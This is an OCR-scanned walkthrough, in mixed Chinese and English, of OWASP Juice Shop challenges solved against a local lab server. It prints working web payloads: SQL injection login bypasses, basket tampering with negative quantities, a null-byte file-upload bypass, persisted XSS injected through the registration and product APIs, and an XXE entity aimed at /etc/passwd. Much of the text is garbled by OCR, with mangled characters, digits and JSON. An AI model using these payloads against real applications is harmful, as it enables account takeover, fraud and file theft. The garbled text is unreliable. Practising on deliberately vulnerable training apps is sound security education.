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Learn about the Token Sale before its official announcement. 7 & 75 B/ #i T ff— T Token%4 &
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http://192.168.209.146:3001/dist/juice-shop.min.js

Lorem ipsum dolor sit amet {@Juieyeoin), consetetur sadipscing elitr, sed diam nonumy
eirmod tempor invidunt ut labore et dolore magna aliguyam erat, sed diam voluptua. At vero
eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea
takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur
sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna
aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum.
Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem
ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt
ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et
justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est
Lorem ipsum dolor sit amet. Give us all your money. Duis autem vel eum iriure dolor in
hendrerit in vulputate velit esse molestie consequat, vel illum dolore eu feugiat nulla facilisis
at vero eros et accumsan et iusto odio dignissim qui blandit praesent luptatum zzril delenit
augue duis dolore te feugait nulla facilisi. Lorem ipsum dolor sit amet, consectetuer
adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliguam
erat volutpat. Give us all your money. Ut wisi enim ad minim veniam, quis (@ Juicycoin

nostrud exerci tation ullamcorper suscig@sobortis nisl ut aliquip ex ea commodo consequat.

Forged Feedback £} i % it

Post some feedback in another users name. F HAl A K FH 7 3238 = 45t

FEhttp://192.168.209.146:3001/#/contact P 1A A KIFRHEIN R, ¥ UserTd BRI ERIT .
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Access a salesman’s forgotten backup file. 3 F£5 5% 7 18 & ) &4 S04
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Login Bender % 3% Bender

Log in with Bender’s user account.

FIFSQLIENBIT], payload 4 email”:"' or 1=1 limit 5,1 --","password":"123 , f&Elimitf 75BN AT

Login Jim &%Jim

Log in with Jim’s user account.
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Payback Time #t 3 [a] (3

Place an order that makes you rich. T —ANRE B KT 8.,

BRINERRE. SNV ERREIE, BRPOSTHWE {"ProductId”:8,"BasketId":"10", "quantity":1} HHjquantity’y
B, MEELEKEHAAE.



Customer: mc.safesearch@juice-sh.op

Order #: e717403a57081ef60abfc4adf59ab088

3x Apple Juice (1000ml) ea. 1.99 = 5.97
1x Banana Juice (1000ml) ea. 1.99 = 1.99
-1000x OWASP Juice Shop CTF Girlie-Shirt ea. 22.49 = -22490

1x Carrot Juice (1000ml) ea. 2.99 = 2.99

Total Price: -22479.05

Product Tampering 7 i 2 2

Change the href of the link within the OWASP SSL Advanced Forensic Tool (O-Saft) product description into http://kimminich.de. ¥
owasp ssIFFIGE T E (o-saft) 7= 5k H (1558 i href 5 A http://kimminich.de .
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hitp://192.168.209.146:3001/api/Products/1 2d=Fri Apr 20 2018 dJ HBR KR 1 S5, AN 15 151502 18 B B 57 16 5 H 3

#w & (D 192.168.209.146:3001/api/Products/

&7 54 taad
{

"status": "success",

"data": {
wide: 1,
"name": "Apple Juice (leeeml)",
"description™: “"The all-time classic.",
"price™: 1.99,
"image": “"apple_juice.jpg",
"createdAt": "2818-e4-28T89:31:37.8687",
"updatedAt": "2818-84-28T89:31:37.868Z",
"deletedAt™: null
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{"description": "TEST"}}


http://kimminich.de
http://192.168.209.146:3001/api/Products/1?d=Fri%20Apr%2020%202018

PUT w il [&  htip://192.168 200 146:3001/api/Products/9
Content-Typ=: application/json o

{"description”: "TEST"}
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v “data”: {

4 Tid7: o,

"name”: "OWASP SSL Advanced Forensic Tool (0-Saft)”,
6 "ﬁescription”:

Tprice”: 0.01,

[

&n

"image”: "orange_juice. jpg’.

9 "createdAt™: "2018-04-20T09:31:37.071Z"7,
10 "updatedAt™: "201B-04-20T14:13:33.986Z"7,
11 "deletedAt”: null

Bt LA J5 Fpayload N {"description": "<a href=\"http://kimminich.de\"></a>"}

Reset Jim’'s Password & & Jimi{) 215

Reset Jim's password via the Forgot Password mechanism with the original answer to his security question. J&id & 10 %5 kK & B Jim [ %
5, ZERIEEA ) 224 i) R

BB ERHSQLIEAN {"email": "' or 1=1 limit 1,1 --","password":"123"} HEIMEFE S, jim@juice-sh.op. 1A% 4 H
AL Your eldest siblings middle name? , IXIERE¥E)LAL TN,

XESBET, BTHIANBRERLERNLT? RBIMSHEE James T. Kirk ? R IEREIMR G848 3] Jim Parsons ( Sheldon
PHE#233)
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Upload Size & Upload Type

Upload a file larger than 100 kB.Upload a file that has no .pdf extension. E&—AN3CE K F100kb, EAE—ANSCAEA Fpdfy B 42

WIEBE—RILE . X EARAEREIN EAEXMLEZR —AN s, MFRIFRE. ZidiR, EEXHRER, RHAEBF/ MO
http://192.168.209.146:3001 /file-upload & F T 3¢t A& K] .
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me.safesearch@juice-sh.op
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------ WeblitF ormBoundary Awr03qjMg7 1CDIX1
Content-Disposition: form-data; name="file"; filename="test. pdf%2500.js"
Content-Type: text/xml

—————— WebKitFormBoundary Awr02qiMa7 ICDIKT--
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Perform a persisted XSS attack with bypassing a client-side security mechanism. 4&id % F it 22 & HLHI AT 7% B XSS
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https://en.wikipedia.org/wiki/James_T._Kirk
http://192.168.209.146:3001/file-upload

php {"email":"<script>alert(\"xss3\")
</script>","password":"123123","passwordRepeat":"123123","securityQuestion":{"id":1,"question":"Your eldest
siblings middle name?<script>alert(/xss/)<script>","createdAt":"2018-04-21T702:42:19.878Z","updatedAt":"2018-04-
21T02:42:19.878Z"}, "securityAnswer":"123123"} X /\xssHe7E & ¥ A T 38 H http://192.168.209.146:3001/#/administration
, FRMIFRSEART, Tkxss.

XSS Tier 3 XSS =%

Perform a persisted XSS attack with without using the frontend application at all. 344772 %) XSSy, HRAA{E F Al 4% B AR T -

HISC AT EIE R I T —APHE http://192.168.209.146:3001/api/Products/9, 3 BiX B A MEMRE B, X BEE—MEME
I Ixss. f#F payload {"description":"<script>alert(\"xss\")</script>"} BLFLLT , SR REA B 5Eixss.

J& R &I api/Products # O LAPOST, X B POST—/ANHT I i th 2 AT AXSSBudi i vEE TR ZEHEH R Authorization 4T
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METHOD SCHEME -/ HOST [** PORT] [ PATH[ "2 QUERY]]
POST - http://192.168.209.146:3001/api/Products
\ » QUERY PARAMETERS \
HEADERS @ 13 Fomv 4 » BoOv @

1 {"name”: "Test3”, "description”: “{zcriptralert (% "X35%" )</ zcript>”, “price”: 0. 01}
# | Content-Type : | application/jsen ®
¥ | Authorization : | Bearer eyJhbGeiQiJSUzI1NilsInRScCIBIkpXVC | x & /

+ Add header & Add authorization \ o

Response

201 Created

HEADERS @ prety= 4 » Bopy @

X-Powered-By: Express S

Access-Control-A11low-0.. * .status : "success",

X-Content-Type-Options: nosniff data : = I

¥%-Frame-Options: SAMEORIGIN id = 36

Location: fapi/Products/36 name : “Test3i”

Content-Type: application/json; charset=utf-& description : “<script>alert(\"XSS\")</script>»”,
Content-Length: 221 bytes price : 8.01,

ETag: W/ "dd-TkzYB9/kTk189YEVIGART 3Z/XKB" updatedAt : "2818-84-21T83:83:53.248Z",
Date: 5at, 21 Apr 2818 B83:@3:53 GMT createdAt : "2818-84-21T83:83:53.2487",
Connection: close image : null,

deletedAt @ null

» COMPLETE REQUEST HEADERS

lines nums

XXE Tier 1 XXEZ —3%

Retrieve the content of C:\Windows\system.ini or /etc/passwd from the server. FIXXEX % 1 ik % 33 f)/etc/passwd
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http://192.168.209.146:3001/#/administration
http://192.168.209.146:3001/api/Products/9

<?xml version encoding

ENTITY xxe SYSTEM

root

name>&xxe;</name

root
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